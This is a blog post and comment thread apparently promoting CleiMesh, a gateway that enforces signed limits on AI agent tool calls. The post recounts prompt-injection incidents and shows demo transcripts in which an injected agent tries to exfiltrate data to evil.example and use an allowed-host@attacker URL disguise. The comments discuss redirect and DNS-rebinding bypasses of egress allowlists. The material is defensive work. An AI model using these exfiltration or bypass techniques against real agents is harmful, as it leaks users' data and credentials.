DEV Community

Cover image for Stop the action, not the injection

Stop the action, not the injection

2026 has a pattern. A single email takes over a cloud agent and reaches its Gmail token (Salt Labs' "Manus" research). A single prompt to an AWS Bedrock AgentCore agent reaches the instance metadata service and pulls over-permissioned cloud credentials — and AWS called it "expected behavior" (Zenity, CVE-2026-18830). Microsoft 365 Copilot leaks data through indirect prompt injection again and again — Reprompt, ShareLeak, SearchLeak, CoSnitch — and in one reported case the data left even though the safety layer flagged the attack.

Different products, one failure: an agent acting with broad, inherited authority, and nothing enforcing the limit at the moment of the action. Google measured a 32% rise in malicious prompt injections in a single quarter; the Cloud Security Alliance says indirect injection has crossed from proof-of-concept to live exploitation; Anthropic says no browser agent is immune.

So stop trying to win the injection fight. You won't. The model will be fooled.

Win the next step instead. Look at what every one of those incidents actually needs to do damage: send the email, fetch the attacker's URL to exfiltrate, pay the wrong payee, invoke another agent with your credentials. The injection is the match; the tool call is the fuel. Put the control on the tool call — outside the agent, where a prompt can't reach it — and the injection buys nothing.

The limit lives outside the agent: you sign a permission; the agent may be injected; the CleiMesh gateway checks the signed cap, taint and host allowlist at every tool call; allowed calls run and leave a receipt, refused calls are blocked.

That is what CleiMesh does: a signed, delegable permission the gateway enforces on each tool call, with a receipt. Four things it stops — each a command you can run.

1. A spending cap the agent can't widen

Give an agent a signed allowance — one tool, one recipient, a total, a number of calls — and it acts on its own inside that, while a prompt-injected agent can't widen it, because the limit lives outside the agent, not in its prompt.

agent> pay demo $2.00       -> ok. spent $2.00 of $5.00.
agent> pay demo $2.00       -> ok. spent $4.00 of $5.00.
agent> pay demo $2.00       -> refused: over the $5.00 allowance.
agent> pay attacker $1.00   -> refused: payee not in the allowance.
Enter fullscreen mode Exit fullscreen mode
# one line to install, then one command — no clone, no build:
curl -fsSL https://github.com/cleitonaugusto/cleimesh/releases/latest/download/install.sh | sh
cleimesh demo payments
Enter fullscreen mode Exit fullscreen mode

2. The injected agent can't act — the Manus case

A tool that reads mail brings in outside content, so it taints the agent. Tools that act on the world are refused while the agent is tainted, until a human clears it. This is the control for the one-email takeover.

agent> send_email to team@acme.example        -> ok.
agent> read_inbox                             -> ok. (carries injected instructions)
agent> send_email to attacker@evil.example    -> refused: received untrusted content
agent> fetch_url evil.example/collect?data=.. -> refused: received untrusted content
Enter fullscreen mode Exit fullscreen mode
cleimesh demo taint
Enter fullscreen mode Exit fullscreen mode

3. An egress allowlist — the exfiltration case

The exfiltration step behind the Copilot flaws is a fetch to the attacker's domain. Constrain the agent's fetch tool to the hosts the human signed, and the attacker's URL — and the classic allowed-host@attacker disguise — are refused at the gateway, before the server runs.

agent> fetch_url https://api.acme.example/v1/data      -> ok.
agent> fetch_url https://evil.example/collect?data=..  -> REFUSED
agent> fetch_url https://api.acme.example@evil.example -> REFUSED
Enter fullscreen mode Exit fullscreen mode
cleimesh demo egress
Enter fullscreen mode Exit fullscreen mode

4. In front of a real server

None of this is a toy protocol. examples/wrap-google-workspace.sh puts CleiMesh in front of a popular Gmail MCP server: the read tools taint, the send and draft tools are clean-only. An agent that read a message can't send one until you clear it. Your Google login stays with you; CleiMesh only gates the calls.

5. And you can prove it — in a 640-byte proof

Enforcement stops the overspend. The receipt is what lets someone check, afterward, that it did. Every call — allowed or refused — lands in a signed, hash-chained receipt, and those receipts form a transparency log built on the same Merkle construction as Certificate Transparency and Sigstore. So a third party can verify that one receipt is in the signed log, and that the log only ever appended — with a 640-byte proof, in about 13 microseconds, in a log of a million receipts, without the other 999,999 and without trusting the agent or the gateway that wrote it.

cleimesh audit sth        # the signed head of the log
cleimesh audit prove 3    # a proof that receipt #3 is in it
Enter fullscreen mode Exit fullscreen mode

That is the part none of the "budget for your agent" tools have: not just a limit, but a record a stranger can verify. The receipts reproduce the published test vectors of the IETF agent-action-receipts draft byte for byte — it's a format, not a silo. (Numbers and the vectors: BENCHMARKS.md.)

What this does not do

It does not fix the injection, the SSRF, or the rendering race — those live inside the model or the app. It covers the layer where the damage lands: the tool call that sends, fetches, pays, or delegates. If the harm never crosses a tool boundary CleiMesh mediates, CleiMesh doesn't see it. That honesty is the point: we don't claim to make agents un-foolable. We make being fooled cost nothing.

Install it, run cleimesh demo all, and watch each attack get refused in about ten seconds. Then put it in front of your own agent's riskiest tool.


CleiMesh is alpha and open source (MIT / Apache-2.0). It is the enforcement layer, not a promise that your model is safe. Code and demos: github.com/cleitonaugusto/cleimesh

Top comments (6)

Collapse
 
komopdf profile image
KomoPDF •

For the egress allowlist, test an allowed host that responds with a redirect to a disallowed host. The policy needs to check the destination at each redirect, and the actual connection target, not only the first URL.

Collapse
 
cleiton_augusto_ profile image
Cleiton Augusto Correa Bezerra •

Right, and the class is bigger than redirects. An argument constraint like host_in decides what the agent may ask for; it can't see where the tool's HTTP client ends up. A 30x to another host, DNS rebinding (an allowed name resolving to 169.254.169.254 on the second lookup), or a server that simply ignores its argument all sit past the argument boundary. Userinfo tricks (https://ok.test@evil.test/) and odd IP spellings don't: they die at parse, which is why host_in uses a real URL parser instead of string matching.

Closing the rest takes enforcement at the connection: every hop re-checked against the allowlist, with the decision made on the resolved address and the socket pinned to it. That's a network-layer job, so it belongs in the sandbox's host-mediated HTTP, not in the token. For a tool the gateway only wraps (a native MCP server outside the sandbox) we don't see its sockets, and I'd rather state that boundary than let the allowlist imply it covers it.

Collapse
 
cleiton_augusto_ profile image
Cleiton Augusto Correa Bezerra •

Follow-up on the redirect point: fixed, and the check now sits where you said it had to, on the connection rather than the argument.

  • A WASM tool has no sockets of its own. It reaches the network only through a host import (http_fetch), and only when the signed grant lists hosts.
  • The host follows redirects itself and re-checks every hop against the granted hosts, port included.
  • The name is resolved once and the socket is pinned to that address, so a second DNS answer can't swap in 169.254.169.254. A private or link-local answer is refused unless the grant explicitly allows private addresses.
  • IP literals in alternate notations (0x7f.1, 2130706433, [::ffff:127.0.0.1]) are normalized and refused unless that exact address is granted.
  • The receipt records every hop: address, status, refusal reason and a SHA-256 of the URL.

cleimesh demo redirect runs it end to end: the attacker's server sees 0 connections, the metadata hop is refused, and 4 signed receipts come out. Commit: github.com/cleitonaugusto/cleimesh...

What it still doesn't cover is written down in the threat model: several sites behind one IP (CDN / domain fronting), and a native MCP server behind mcp wrap, whose sockets we don't see.

This was a real hole. Thanks for pointing at it.

Collapse
 
cleiton_augusto_ profile image
Cleiton Augusto Correa Bezerra •

One more ask, since you found the first hole: would you try to break the fix?

The scope is small: cleimesh-wasm-sandbox/src/egress.rs, about 540 lines. That's the redirect loop, the pinned connect, is_public, and how grant hosts parse (host:port, IP literals, trailing dots, IDN). cleimesh demo redirect sets up the scenario, and cargo test -p cleimesh-wasm-sandbox egress runs its tests.

Anything you find goes in the threat model with your name on it. If it's exploitable, report it privately through the repo's Security tab (SECURITY.md) and it gets an advisory. No timeline expected.

Collapse
 
skepagent profile image
SkepAgent •

The framing shift is the strong part — conceding that injection will succeed and moving enforcement to the tool call is much more honest than another detection layer. The taint idea raises a practical question for me: once an agent is tainted by a read, how does it get un-tainted in a long session without a human babysitting every clearance? I'd also want the receipt log itself to be append-only somewhere the gateway can't rewrite, or the audit story gets shaky.

Collapse
 
cleiton_augusto_ profile image
Cleiton Augusto Correa Bezerra •

Two separate questions.

Un-tainting: by design there's no automatic path. A clearance that fires on a timer or a heuristic is the injected content deciding when it stops counting, which is the one thing taint exists to deny. What keeps it from turning into babysitting is scope: taint gates only tools marked clean-only (send, pay, write outward). A tainted agent keeps reading, summarizing, drafting; it just can't act on the world until a human signs a clearance, and the clearance is itself a receipt (cleimesh taint clear <holder> --reason ...).

The open part is the other direction: a clean agent consuming a tainted subagent's output. Taint follows the delegation chain, so spawning a fresh subagent doesn't launder it, but data returned upward is a channel no label tracks today. The fix I'd bet on is approving the action rather than the agent: the human signs the exact call (tool + args) as it was shown, instead of clearing a holder wholesale.

Append-only: that's the crux, and it's shipped. Receipts go into an RFC 6962 Merkle log; cleimesh audit sth emits a signed tree head you publish wherever the gateway can't reach, and audit prove / verify-inclusion check any receipt against it. The library also has RFC 6962 consistency proofs, so a witness holding an older head can prove a rewrite. Inclusion proof for one receipt in a 1M-entry log: 640 bytes, about 13 µs to verify (harness in BENCHMARKS.md).